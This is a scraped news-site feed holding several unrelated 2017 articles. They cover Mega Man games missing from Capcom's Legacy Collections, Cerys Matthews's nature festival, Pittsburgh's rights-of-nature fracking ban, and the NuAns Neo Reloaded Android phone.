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]]> https://briefnews.eu/how-microsoft-embraced-messy-creativity-with-windows-ink/feed/ 0 Capcom’s Mega Man Legacy Collections should have embraced these bizarre gems https://briefnews.eu/capcoms-mega-man-legacy-collections-should-have-embraced-these-bizarre-gems/ https://briefnews.eu/capcoms-mega-man-legacy-collections-should-have-embraced-these-bizarre-gems/#respond Sun, 13 Aug 2017 16:09:19 +0000 http://briefnews.eu/capcoms-mega-man-legacy-collections-should-have-embraced-these-bizarre-gems/

Mega Man Legacy Collection 2 has just come out for the PC, PlayStation 4, and Xbox One. It contains Mega Man 7 through 10. Combined with the first Legacy Collection (which hold the first six Mega Man games), having both should give you a complete collection of the classic series, right?

Not exactly.

And I’m not talking about the spinoff series, like Mega Man X or Mega Man Legends. Those evolved into their own franchises that stand desperate from the original Mega Man line (it’s like the difference between Donkey Kong Country compared to Super Mario Kart). Even in the classic franchise, Capcom has released some great (or, at the very least, interesting) games featuring the original incarnation of the Blue Bomber. Sadly, none of these made it into the recent collections, and they’re probably too obscure to justify their own bundle.

But we’re going to go ahead and give them the love that Capcom won’t. We’re going to talk about the five (well, six, kind of) biggest omissions from the Mega Man Legacy Collections.

Mega Man & Bass

Original release: 1998 (Super Nintendo)

The absence of Mega Man & Bass hurts the most. Although it doesn’t have a fancy number in its title, it’s a full-blown 2D Mega Man that came out shortly after No. 8. Of course, it had a lot going against it. Although Mega Man 8 was a PlayStation game, this entry went back to the aging Super Nintendo. It also didn’t originally see a release outside of Japan. We didn’t get to play it until a Game Boy Advance port in 2003.

Many fans consider this the franchise’s ninth installment long before Mega Man 9’s release in 2008. It’s a great platformer that introduces Mega Man’s rival Bass as a playable character, who differs from Mega Man by being able to double-jump and shooting in multiple directions. Bass first showed up in Mega Man 7 as a seeming ally, but the game later revealed him as another creation of Dr. Wily, the series’ iconic villain (although he will rebel against Wily).

I can understand why some of the following games on this list aren’t in the Legacy Collections, but Mega Man & Bass’s omission is a big disappointment.

Mega Man: The Wily Wars

Original release: 1994 (Sega Genesis)

That’s right, the Sega Genesis has its own Mega Man game! The Wily Wars contained 16-bit remakes of the first three titles in the series. But after beating all three, you unlock a new campaign that features bosses based on the famous Journey to the West story.

Sadly, this is another game that’s almost impossible for U.S. Mega Man fans to play legally. It was never available at retail. Instead, you can only play it if you subscribed to Sega’s expensive and cumbersome Sega Channel service, a very early form of digital game delivery.

The Legacy Collections would have been a great opportunity to finally make Wily Wars available to those outside the emulation scene.

Mega Man Soccer

Original release: 1994 (Super Nintendo)

OK, yes. Mega Man Soccer is as silly as it sounds. It’s a soccer video game, but with Mega Man characters replacing traditional athletes. And it’s great.

Along with your traditional soccer skills, each character has a special skill. Bubble Man, for example, would surround the ball with a bubble, which would then transfer to any opposing player it, sending them flying into the air. Bomb Man, meanwhile, would turn the ball into an explosive that would knock out another player on contact.

It’s a bunch of goofy fun, and I would have loved to have it on a modern system.

Mega Man Battle & Chase

Original release: PlayStation (1997)

I’m still bitter about this one. It never saw a release in the U.S., but Capcom was planning to bring it here at some point. I vividly remember seeing ads for the racer in the back of my gaming magazines, filling me with excitement. But it never came.

Battle & Chase eventually made it over to the U.S. as an unlockable in the Mega Man X Anniversary Collection that came out for PlayStation 2 and GameCube in 2006. Hey, making an obscure title in the series a bonus for a collection? What a novel idea! I wish that the Legacy Collections would have thought of that.

Mega Man: The Power Battle

Original release: Arcade (1995)

The Power Battle, along with its sequel (1996’s The Power Fighters), are action-packed. They’re like playing a traditional Mega Man game but only with the bosses, and it featured cooperative action. So you and a friend could go up against waves of robot masters together, choosing to take control of characters like Mega Man, Proto Man, and Bass.

The games are simple, but the arcade-like action is fun, and it’s a rare cooperative experience for the series. Both were included in the 2004 Mega Man Anniversary Collection, once again showing how those older bundles were willing to pack in more value.

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]]> https://briefnews.eu/capcoms-mega-man-legacy-collections-should-have-embraced-these-bizarre-gems/feed/ 0 Cerys Matthews: How I embraced nature after being in a band stopped making me happy https://briefnews.eu/cerys-matthews-how-i-embraced-nature-after-being-in-a-band-stopped-making-me-happy/ https://briefnews.eu/cerys-matthews-how-i-embraced-nature-after-being-in-a-band-stopped-making-me-happy/#respond Mon, 31 Jul 2017 23:18:50 +0000 http://briefnews.eu/cerys-matthews-how-i-embraced-nature-after-being-in-a-band-stopped-making-me-happy/

The former frontwoman of the multimillion-selling 1990s band Catatonia is not only a happy mother of three, she has carved out a new career as an author and broadcaster and presents a weekly radio programme on BBC 6 Music which is the most listened to digital-only show in the country.

Such is her passion now about embracing the simple joys of life, Cerys has founded a nature-inspired music festival, celebrating all the outdoors has to offer and focusing on wellbeing.

Now in its fourth year The Good Life Experience is a three-day event in North Wales with a difference.

As well as music and food there are workshops, demonstrations and activities including abseiling, foraging, pottery, cider-making, axe-throwing and boat-building.

“There weren’t any festivals that were doing what I wanted to do as a festival-goer,” says Cerys, 48, who was born in Cardiff but brought up on the Pembrokeshire coast.

“Here you can experience great things. You can have a go at wood carving, find out how denim is made, see how ropes are made. Life is always so fast-paced that this allows you to switch off and enjoy the best of the great outdoors.”

It’s all a far cry from her hell-raising image at the height of her fame.

There were relentless reports of her battle with drink and drugs and in 2001 she checked into rehab.

Today she doesn’t want to dwell on her past but admits her musical success back then took its toll.

“I was in a rock band. There was a lot of drink and drugs around,” she says. “It was a night-time job and depending on what country we were in we could be getting on stage after midnight. Being in a routine was out of the question. It’s a difficult job to have and to keep on a level.”

The result was deciding to quit the band that brought her fame.

“When I left in 2000 I had been pretty much on the road for 10 years,” she says. “I had a lack of schedule, lack of regular hours and this night life. I knew things had to change. I’d had one chapter and I decided quite purposely that I wanted a brand new one.

“Being in the band wasn’t making me happy. If you find yourself in a situation that doesn’t make you happy then it’s easy to fall prey to negative thoughts.

“It’s about trying to get enough energy to change your surroundings and have people around you who do make you happy, that’s a lesson a lot of us learn going through life.”

Cerys escaped the pressures of fame by moving to Nashville in the US where she had two children, Glenys, 13, and Johnny, 12, with her then-husband, American music producer Seth Riddle.

“It was an extremely different lifestyle from what I’d had,” she says. “Firstly there was none of that so-called celebrity so there was no pressure and also it was very much to do with the natural world which I’ve always loved. And I had the two children in quick succession so it was a complete contrast.”

She returned to the UK in 2007 following the breakdown of her marriage and has since tied the knot with her manager Steve Abbott, with whom she has a seven-year-old son, Red Owen.

Her health philosophy now is simple: “It’s whatever makes you happy and also balance.”

But she is passionate about the food she eats, too.

“I’m interested in what happens from field to fork. I’m interested in ‘real’ food: an apple from an apple tree and a potato from the ground.”

As a result Cerys rarely buys ready-made food, likes to cook from scratch and grows fruit and vegetables in the garden of her west London home.

“My husband and daughter are vegetarian and I’m flexitarian, which means I eat meat only very occasionally. We usually cook with vegetables and lots of pulses such as chickpeas. I love South Indian cuisine, spicy food and fresh herbs.”

But as many mums find it can be a struggle to ensure kids always eat healthily.

“My older children can go out and buy crisps and can be given sweets by friends and family,” says Cerys. “Also life is so much more sedentary than it used to be. That was one of the reasons I wanted to create the festival. The fact is kids love being online so it’s important to make time where they embrace being outdoors and forget they are not on their devices.”

Trying to keep fit while juggling her busy life can be a challenge but she adds: “We’ve all got bikes and I try to walk to places when I can. I enjoy being outside.

“I find it helpful walking out into the fresh air or the countryside. It has been proven scientifically that just being around nature can release serotonin, which boosts your mood. It helps get that balance back.”

With just two years before she turns 50 Cerys is happy to embrace getting older.

“There’s no option but to take it in your stride,” she laughs. “I love the age I am. When you get into your 40s you truly begin to value what a healthy life you’ve got and get a better perspective on everything. I feel at a privileged point of my life now. My main philosophy is that if you’ve got health you’ve got everything.”

● The Good Life Experience takes place from September 15-17. For ticket information visit thegoodlifeexperience.co.uk/buy-tickets

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]]> https://briefnews.eu/cerys-matthews-how-i-embraced-nature-after-being-in-a-band-stopped-making-me-happy/feed/ 0 How Pittsburgh embraced a radical environmental movement popping up in conservative towns across America https://briefnews.eu/how-pittsburgh-embraced-a-radical-environmental-movement-popping-up-in-conservative-towns-across-america/ https://briefnews.eu/how-pittsburgh-embraced-a-radical-environmental-movement-popping-up-in-conservative-towns-across-america/#respond Sun, 09 Jul 2017 18:35:23 +0000 http://briefnews.eu/how-pittsburgh-embraced-a-radical-environmental-movement-popping-up-in-conservative-towns-across-america/ pittsburgh skylineAn environmental movement that recognizes legal rights for nature has been embraced by conservative rural communities across the US.
Business Insider spoke to the man who helped Pittsburgh enact the strategy to keep fracking out of the city.
The idea of rights of nature began with indigenous communities, who have recognized rights for nature for thousands of years.

When President Donald Trump withdrew the US from the Paris climate agreement in June, he declared it was because he “was elected to represent the citizens of Pittsburgh, not Paris.”

But Pittsburgh didn’t vote for Trump, and many in the city didn’t agree with his decision to pull out of the global accord. In fact, Pittsburghers have embraced the environmental movement head-on in their efforts to keep the city clean following the heavy pollution left behind from the heyday of the steel industry.

One of those efforts is a growing movement that some call radical, known as “rights of nature.” It awards natural ecosystems legal rights in an effort to preserve the environment and protect human health.

Pittsburgh took up the mantle in an effort to keep hydraulic fracturing, commonly known as fracking, out of the city in 2010.

The Pittsburgh City Council passed the measure in a unanimous vote, and Ben Price, National Organizing Director from the Community Environmental Legal Defense Fund (CELDF), who introduced the campaign to the city, told Business Insider that at every neighborhood meeting he attended, he didn’t meet a single resident who was against the idea.

“When there were concerns expressed,” Price said, “it was more in the line of ‘Well yeah that’s controversial, and I hope you don’t let that get in your way, because we really need this.'”

But Democratic-leaning cities like Pittsburgh aren’t the only places embracing this idea. Price has found that awarding rights of nature is actually more popular in rural, conservative towns. Tamaqua, Pennsylvania — tucked in a county where 70% of voters picked Trump — was the first community in the US to pass it in 2006.

Tamaqua took up the cause to keep companies from dumping sewage sludge and dredged minerals from the Hudson and Delaware rivers into open pit mines. The township successfully passed a “community bill of rights” giving nature civil rights, and making it unlawful for corporations to “interfere with the existence and flourishing of natural communities or ecosystems, or to cause damage” to them within the township.

In November of 2010, Pittsburgh followed.

‘Our only chance’

pittsburghSean Pavone/Shutterstock

In 2010, Pittsburgh City Councilman Bill Peduto, now the city’s mayor, sent out an email to everyone he could think of — environmental groups, zoning and land use experts, environmental lawyers — to ask for advice on how to protect residents from fracking. Mayor Peduto wasn’t available for comment.

The practice had taken off in Pennsylvania by then and was inching closer to the city. One Catholic church had already signed lease agreements to allow an oil company to drill for natural gas beneath their cemetery, which “got everyone up in arms,” Price said. “So it wasn’t a moot point.”

Price was one of the people on that large email chain.

Peduto and his constituents were concerned about the impact of fracking on their drinking water, air quality, and soil. “A lot of damage had been done to each, and … denied by the industry and politically denied by [the state] environmental agency,” Price said.

While the fracking boom has allowed the US to wean off coal (which pollutes more), studies have shown that fracking can dislodge methane, oil, or gas from the ground, which can then seep into and pollute drinking water sources, particularly when the drilling wells aren’t properly cemented. A December 2016 EPA report found evidence that fracking has contributed to drinking water contamination “in all stages of the process.”

bill peduto pittsburgh mayorAP Photo/Keith SrakocicTwenty-three different environmental groups and legal experts replied to the email thread offering their expert advice. Price said the other suggestions all assumed that fracking was the inevitable outcome, because Pennsylvania state law allowed fracking.

In Pennsylvania, state law says municipalities aren’t allowed to regulate the oil and gas industry any more strictly than the state is. So, if the state says fracking is okay, cities can’t overrule that. This led to zoning experts to suggest containing fracking to certain areas in order to protect the rest of the city, and environmental groups to suggest laws to strengthen industry safety and regulations. But to Price, it wasn’t enough.

“I watched to see what kind of suggestions were put forward, and all of them colored within the lines,” Price said. “After seeing that was going to be the tenor of response from the environmental communities, I suggested our approach, which is a community rights strategy.”

So Price wrote back to Peduto, and told the councilman that “the only way to protect the community as a whole from fracking [is] to not allow fracking to occur.”

pittsburgh houseAP Photo/Keith SrakocicCELDF’s strategy was to declare a right to clean air, water, and soil for all the citizens of Pennsylvania. Under this rights of nature strategy, to allow fracking would threaten that right, so the city would have ban it.

The approach took environmental protection out of a regulatory realm — which allowed fracking to occur but under certain rules — and moved it to a legal realm — which argued fracking violated their legal rights to clean air and water and should therefore be banned.

“When I proposed that there was pretty much silence from everyone else in the conversation,” Price said.

After speaking with Price, Peduto wrote back to everyone on the thread on June 29, 2010, according to a copy obtained by Business Insider:

“The mission of the attorneys is not to try to minimize impact through zoning laws — that is a losing battle. The idea is to establish municipal authority and rights. [CELDF is] working with 120 local governments in PA presently and although controversial — it would be our only chance to prohibit gas drilling in Pittsburgh. The mission of this group is to create a unique way to stop all drilling within the city’s borders — nothing short. If anyone disagrees with this approach — and it is OK to disagree — please let me know now. It is imperative that we have a strong and unified base as we take this battle on and work to succeed.”

A way to empower the community

pittsburgh fracking protesterBen Price/CELDF for Business Insider

Rights of nature dates back thousands of years ago with indigenous groups, many of whom had always considered nature to have rights.

During the early 20th Century, the priest Thomas Berry worked to spread the work of rights of nature through his teachings. Nowadays, when most people cite where to learn about the topic, they bring up “Should Trees Have Standing,” first written as an essay in 1972 and later published as a book by law professor Christopher Stone after he got into an argument about the topic with his students.

Stone wrote:

“The fact is, that each time there is a movement to confer rights onto some new ‘entity,’ the proposal is bound to sound odd or frightening or laughable. This is partly because until the rightless thing receives its rights, we cannot see it as anything but a thing for the use of ‘us’ – those who are holding rights at the time.”

The movement has gone global with countries like Ecuador and Bolivia constitutionalizing rights of nature, and legal battles won in New Zealand and India protecting them locally. The Green Party of England and Wales adopted rights of nature as an official party policy in 2016.

Price explained that by recognizing enforceable legal rights for ecosystems, “any member of the community would have standing before the court of law to enforce those rights,” if, for example, a future city council decided not to. Should that happen, “the community could stand in as agents for the ecosystem and enforce it,” similar to how an adult could stand in as an agent for an abused child in the court of law.

The process empowered the people of Pittsburgh, Price said, to protect themselves and their environment even if the local government refused to.

For the people, by the people

Ben Price and Doug ShieldsBen Price/CELDF for Business Insider

Ultimately it wasn’t Price’s “silver tongue” that won over the council members, but the organizing in the community that demanded the rights of nature law be passed.

Price attended many city council meetings over the months it took to pass the community bill of rights, where the lines of residents waiting to speak in support of the topic stretched out the door.

Pittsburghers had spent decades turning the city from the dark smoggy pictures of its past, to a bright, new, environmentally friendly destination, and they saw the threat of fracking as a step backwards from that.

City Council Doug president Shields said in the 2016 documentary “We The People 2.0” that after learning about CELDF’s community rights approach, “a light bulb switched on.”

“As part of the City Council, I thought our zoning code would be a solution. But then I realized no matter how stringent our restrictions, Pittsburgh would still be fracked, because zoning doesn’t let us say ‘no’ to any harmful activity. It simply tells us where it will go,” Shields recalled.

Shields met with each of his other council members behind the scenes, and Price met with each of them privately, pushing the issue. Even the most opposed council member ultimately came around because his voters wanted it.

The ordinance banning fracking and awarding rights to nature won a unanimous vote, and has been law since November 2010.

“We not only banned fracking, but we asserted our right to self-government,” Shields said in the documentary. “We asserted nature’s rights, and our obligation to protect the ecosystems that sustain us.”

Pushback in progressive communities

A Pittsburgh protest against fracking in 2010Ben Price/CELDF for Business Insider

Pittsburgh had followed in the footsteps of many conservative small towns when passing its rights of nature doctrine.

Price said he actually hears more pushback from liberal communities than conservative ones.

“I know that sounds odd,” he said. “What we hear is, ‘If we do that we’ll be accused of being hippy tree huggers.’ It’s a defensive. It’s a very difficult obstacle to overcome in some of the progressive communities.”

To name a few, Santa Monica, California; the Ho-Chunk Nation of Wisconsin; Licking Township, Pennsylvania; Mountain Lake Park, Maryland; Halifax, Virginia; Barnstead; New Hampshire; and Shapleigh, Maine have all passed rights of nature laws since 2006.

Price’s organization is now helping Grant Township in Pennsylvania fight for rights of nature legislation to block fracking injection wells on their land. The town has been working on a community bill of rights since 2014, when teacher Judy Wanchisn contacted CELDF, Rolling Stone reported. To her and her neighbors, it doesn’t seem like a partisan issue.

“It didn’t matter if they were Democrats or Republicans,” Wanchisn told Rolling Stone. “People didn’t want anyone messing around with their water. They understand, ‘You poison my water and I don’t have a home.'”

CELDF will keep helping communities assert their own rights by legally recognizing nature’s rights, and Price expects the movement to keep growing.

“The position that we take on nature is that nature has always had these rights,” he said. “Nature has always deserved this kind of protection and allocation of its importance to the highest level in our legal system, just as women always had the equal right with men to participate in government and voting. They were simply being denied that right all along.”

Tip: Cuts to Addiction Services Since 2010 [INFOGRAPHIC]

]]> https://briefnews.eu/how-pittsburgh-embraced-a-radical-environmental-movement-popping-up-in-conservative-towns-across-america/feed/ 0 The makers of the most stylish Windows Phone embraced Android https://briefnews.eu/the-makers-of-the-most-stylish-windows-phone-embraced-android/ https://briefnews.eu/the-makers-of-the-most-stylish-windows-phone-embraced-android/#respond Thu, 02 Mar 2017 18:06:04 +0000 http://briefnews.eu/the-makers-of-the-most-stylish-windows-phone-embraced-android/

Last year, at CES, I fell pretty hard for a chubby, round Windows Phone called the NuAns Neo. Who could blame me? The two most notable Windows Phones at the time — the Lumia 950 and 950 XL — were drab, unimaginative-looking slabs. The Neo, with its friendly look and swappable back plates, was quirky enough to give me the kind of frisson that comes with seeing something totally out of the ordinary. Alas, Trinity, the company behind the phone, tried and failed to bring the Neo to markets around the world by way of a Kickstarter campaign.

The demand just wasn’t there. Feedback from potential buyers told Trinity CEO Tetsushi Hoshikawa that they would’ve backed the campaign — or bought a Neo in Trinity’s native Japan — had it run Android instead. You can probably guess what Hoshikawa did next.

Enter the Neo Reloaded. It’s the Android version Neo fans have apparently been asking for, and — surprise, surprise, it feels almost exactly the same as the original. That’s a good thing. You’d think that a phone with a back plate that splits into two pieces wouldn’t feel very sturdy, but that’s where you’d be wrong.

The Neo Reloaded is solid without feeling overly dense, and while it’ll stretch your pockets more than the average smartphone, you can kinda, sorta make it double as a wallet. The original Neo had a space for a Suica card for Japanese contactless payments, but the Reloaded — being a modern Android device — has NFC built-in, leaving room under the shell for a credit card or ID.

That’s not the only difference, either. The 5-inch 720p panel in the original was swapped out for a 5.2-inch IPS LCD running at 1080p, and there’s a handy fingerprint sensor nestled just below that. At the heart of it all lays one of Qualcomm’s Snapdragon 625 chipsets, making it one of the most widely used slivers of silicon here at Mobile World Congress. More importantly, it’s powerful enough to keep the close-to-stock version of Android 7.1 Nougat onboard running without hiccups. The battery has upgraded to 3,450mAh and the display is swathed in a panel of Dragontail-Pro glass made by Asahi Glass.

That last component is surprisingly telling: why not use Corning’s more recognizable Gorilla Glass? Cost had something to do with it, but Hoshikawa seems to take pride in the idea of a thoroughly Japanese smartphone. Sure, the Reloaded might be assembled in China — so is everything else. The surest sign of his dedication to Japanese representation came in the form of a back plate he pointed me to, pride evident on his face. The back plate was covered with Japanese denim. (And yes, you probably shouldn’t rub that denim-clad phone on a white couch.)

I had always hoped we’d see another NuAns phone, no matter what form it took, but the Windows decision seemed like a costly one. When I asked Hoshikawa why he decided that Windows Phone was the platform that would win him success, he very candidly recalled the pitch Microsoft made: Windows 10, they said, was coming to smartphones with the intent to beat back its competitors. Microsoft was sure its time had come and the company (or at least the representatives Hoshikawa spoke to) sold him a vision of victory. That, clearly, was not meant to be.

Don’t feel too bad, though: Hoshikawa says the Neo Reloaded isn’t meant to replace the Neo so much as complement it. There’s room enough out there for similar devices running wildly divergent operating systems, but Hoshikawa is confident in his decision to go Google — it won’t be long before he launches a crowdfunding campaign to bring the Reloaded to a wider market, and Hoshikawa is gunning for victory.

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